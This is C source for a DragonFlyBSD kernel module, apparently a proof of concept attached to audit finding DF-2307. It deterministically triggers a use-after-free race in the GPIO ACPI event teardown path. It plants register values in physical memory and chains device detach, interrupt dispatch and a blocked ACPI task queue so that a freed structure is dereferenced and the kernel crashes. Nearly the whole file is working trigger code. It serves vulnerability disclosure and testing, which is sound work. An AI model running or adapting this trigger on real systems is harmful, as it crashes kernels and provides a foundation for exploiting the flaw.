⬢ DragonFlyBSD Kernel Audit
DF-2307 / aei_race.c
← back to finding ↓ download raw
/*
 * aei_race.c -- DF-2307 deterministic race trigger (v2: self-contained).
 *
 * gpio_acpi_unmap_aei() (gpio_acpi.c:441-458) tears down AEI interrupts
 * but does NOT drain a gpio_acpi_handle_event() work item that
 * gpio_acpi_aei_handler() already queued via AcpiOsExecute(OSL_GPE_HANDLER)
 * (gpio_acpi.c:347).  The item holds a raw pointer into sc->infos;
 * unmap_aei memset(0)s the info and kfrees the whole array (:453-455);
 * the deferred item then reads info->dev at :317 on freed/zeroed memory.
 * The in-source comment "XXX Wait until ACPI Event handler has finished"
 * (:452) documents the gap.
 *
 * v2 choreography (stock kernel, planted-ACPI boot; no boot-time register
 * image needed because the AEI arming runs from here AFTER the runtime
 * plant):
 *   0. devclass gpio_intel: device_detach(gpio_intel0) (real newbus;
 *      detaches the gpio_acpi child, releases BAR/irq),
 *   1. plant the Cherry-View pin-2 CTL0/CTL1 words via the direct map
 *      (same technique as the DF-5518 gpoke.ko rig),
 *   2. device_probe_and_attach(gpio_intel0) -- REAL re-attach:
 *      gpio_intel_attach + gpio_cherryview_init + gpio_acpi child
 *      attach -> gpio_acpi_map_aei -> AcpiGetEventResources(_AEI) ->
 *      GPIO_ALLOC_INTR -> gpio_cherryview_map_intr reads the planted
 *      regs -> intrmaps[4] armed with handler= gpio_acpi_aei_handler,
 *      arg=info; GPIO_SETUP_INTR enables the MASK bit,
 *   3. queue a BLOCKER on the OSL_GPE_HANDLER queue (single kthread
 *      acpi_task, OsdSchedule.c:100-141 -- FIFO),
 *   4. set the pin-2 interrupt-status bit and run the REAL ISR body
 *      (lockmgr sc->lk + sc->fns->intr(sc) == gpio_cherryview_intr):
 *      dispatches map->handler(map->arg) = gpio_acpi_aei_handler(info)
 *      -> REAL AcpiOsExecute queues gpio_acpi_handle_event(info) behind
 *      the blocker,
 *   5. device_detach(gpio_acpi0) (real path): gpio_acpi_detach ->
 *      gpio_acpi_unmap_aei: TEARDOWN/FREE_INTR + memset(info) + kfree,
 *   6. release the blocker: acpi_task executes gpio_acpi_handle_event
 *      on the freed/zeroed info -> info->dev == NULL/freelist ->
 *      acpi_get_handle(device_get_parent(info->dev)) -> Fatal trap.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/bus.h>
#include <sys/sysctl.h>
#include <sys/thread.h>
#include <sys/kthread.h>
#include <machine/cpufunc.h>
#include <machine/pmap.h>
#include <machine/vmparam.h>
#include <vm/vm_page.h>

#include "/usr/src/sys/bus/gpio/gpio_intel/gpio_intel_var.h"

#define AEI_OSL_GPE_HANDLER 2
extern int AcpiOsExecute(int type, void (*fn)(void *), void *ctx);

#define GPO_WINDOW	0x000D0000ul
#define CHV_REG_IS	0x300
#define AEI_INTIDX	4		/* intline nibble planted in CTL0(2) */
#define PIN2_CTL0	0x4410		/* PIN_ADDRESS(2) + 0x0 */
#define PIN2_CTL1	0x4414		/* PIN_ADDRESS(2) + 0x4 */

static volatile int aei_release;
static volatile int aei_state;

static void
aei_blocker(void *arg)
{
	kprintf("aei_race: blocker running on acpi_task (queue held)\n");
	aei_state = 1;
	while (!aei_release)
		tsleep(&aei_release, 0, "aeiblk", hz / 10);
	kprintf("aei_race: blocker released; queued AEI event now runs on "
	    "the freed info\n");
}

static int
aei_arm_and_race(void)
{
	devclass_t dc_intel, dc_acpi;
	device_t gi_dev, ga_dev;
	struct gpio_intel_softc *sc;
	volatile uint32_t *win;
	int error;

	/* ---- 0. detach the in-kernel-attached pair (boot-time AEI failed
	 * because the register image cannot survive firmware; see
	 * VERDICT.md) ---- */
	dc_intel = devclass_find("gpio_intel");
	dc_acpi = devclass_find("gpio_acpi");
	if (dc_intel == NULL || dc_acpi == NULL) {
		kprintf("aei_race: no devclasses (planted DSDT missing?)\n");
		return (ENXIO);
	}
	gi_dev = devclass_get_device(dc_intel, 0);
	ga_dev = devclass_get_device(dc_acpi, 0);
	if (gi_dev == NULL) {
		kprintf("aei_race: no gpio_intel0\n");
		return (ENXIO);
	}
	kprintf("aei_race: gpio_intel0=%p gpio_acpi0=%p; detaching pair\n",
	    gi_dev, ga_dev);
	if (ga_dev != NULL)
		device_detach(ga_dev);
	error = device_detach(gi_dev);
	if (error) {
		kprintf("aei_race: gpio_intel detach failed %d\n", error);
		return (error);
	}

	/* ---- 1. plant pin-2 control regs ---- */
	win = (volatile uint32_t *)PHYS_TO_DMAP(GPO_WINDOW);
	win[PIN2_CTL0 / 4] = 0x40008200;	/* intline 4 | GPIOEN | GPIOCFG 0x200 */
	win[PIN2_CTL1 / 4] = 0x00000002;	/* INTCFG=2: edge, rising */
	kprintf("aei_race: planted CTL0(2)=0x%08x CTL1(2)=0x%08x\n",
	    win[PIN2_CTL0 / 4], win[PIN2_CTL1 / 4]);

	/* ---- 2. real re-attach (full production path incl. map_aei) ---- */
	error = device_probe_and_attach(gi_dev);
	if (error) {
		kprintf("aei_race: re-attach failed %d\n", error);
		return (error);
	}
	ga_dev = devclass_get_device(dc_acpi, 0);
	sc = device_get_softc(gi_dev);
	kprintf("aei_race: re-attached: gpio_acpi0=%p intrmaps[%d].pin=%d "
	    "handler=%p arg=%p\n", ga_dev, AEI_INTIDX,
	    sc->intrmaps[AEI_INTIDX].pin,
	    sc->intrmaps[AEI_INTIDX].handler,
	    sc->intrmaps[AEI_INTIDX].arg);
	if (sc->intrmaps[AEI_INTIDX].pin == -1 ||
	    sc->intrmaps[AEI_INTIDX].handler == NULL ||
	    sc->intrmaps[AEI_INTIDX].arg == NULL) {
		kprintf("aei_race: AEI NOT armed after re-attach -- abort\n");
		return (ENXIO);
	}

	/* ---- 3. blocker first (FIFO queue) ---- */
	AcpiOsExecute(AEI_OSL_GPE_HANDLER, aei_blocker, NULL);
	tsleep(&aei_state, 0, "aeis1", hz / 4);
	if (aei_state == 0)
		kprintf("aei_race: WARN blocker not yet running\n");

	/* ---- 4. raise IS bit + run the REAL ISR dispatch ---- */
	win[CHV_REG_IS / 4] = (1U << AEI_INTIDX);
	lockmgr(&sc->lk, LK_EXCLUSIVE);
	sc->fns->intr(sc);		/* == gpio_cherryview_intr() */
	lockmgr(&sc->lk, LK_RELEASE);
	kprintf("aei_race: ISR dispatched; handle_event(info=%p) queued "
	    "behind blocker\n", sc->intrmaps[AEI_INTIDX].arg);
	tsleep(&aei_state, 0, "aeis2", hz / 4);

	/* ---- 5. detach gpio_acpi: unmap_aei memset+kfree ---- */
	error = device_detach(ga_dev);
	kprintf("aei_race: gpio_acpi detach returned %d "
	    "(info memset+kfree done)\n", error);

	/* ---- 6. release: UAF NOW ---- */
	kprintf("aei_race: releasing blocker -> handle_event on freed info\n");
	aei_release = 1;
	wakeup(&aei_release);
	tsleep(&aei_state, 0, "aeis4", 3 * hz);
	kprintf("aei_race: STILL ALIVE after 3s -- UAF did not fire?!\n");
	return (0);
}

static void
aei_trigger(void *arg)
{
	aei_arm_and_race();
	kthread_exit();
}

static int
aei_race_modevent(module_t mod, int type, void *arg)
{
	struct thread *td;

	switch (type) {
	case MOD_LOAD:
		kprintf("aei_race: loaded; arming in 1s\n");
		kthread_create(aei_trigger, NULL, &td, "aei_race");
		return (0);
	}
	return (0);
}

static moduledata_t aei_race_mod = { "aei_race", aei_race_modevent, NULL };
DECLARE_MODULE(aei_race, aei_race_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);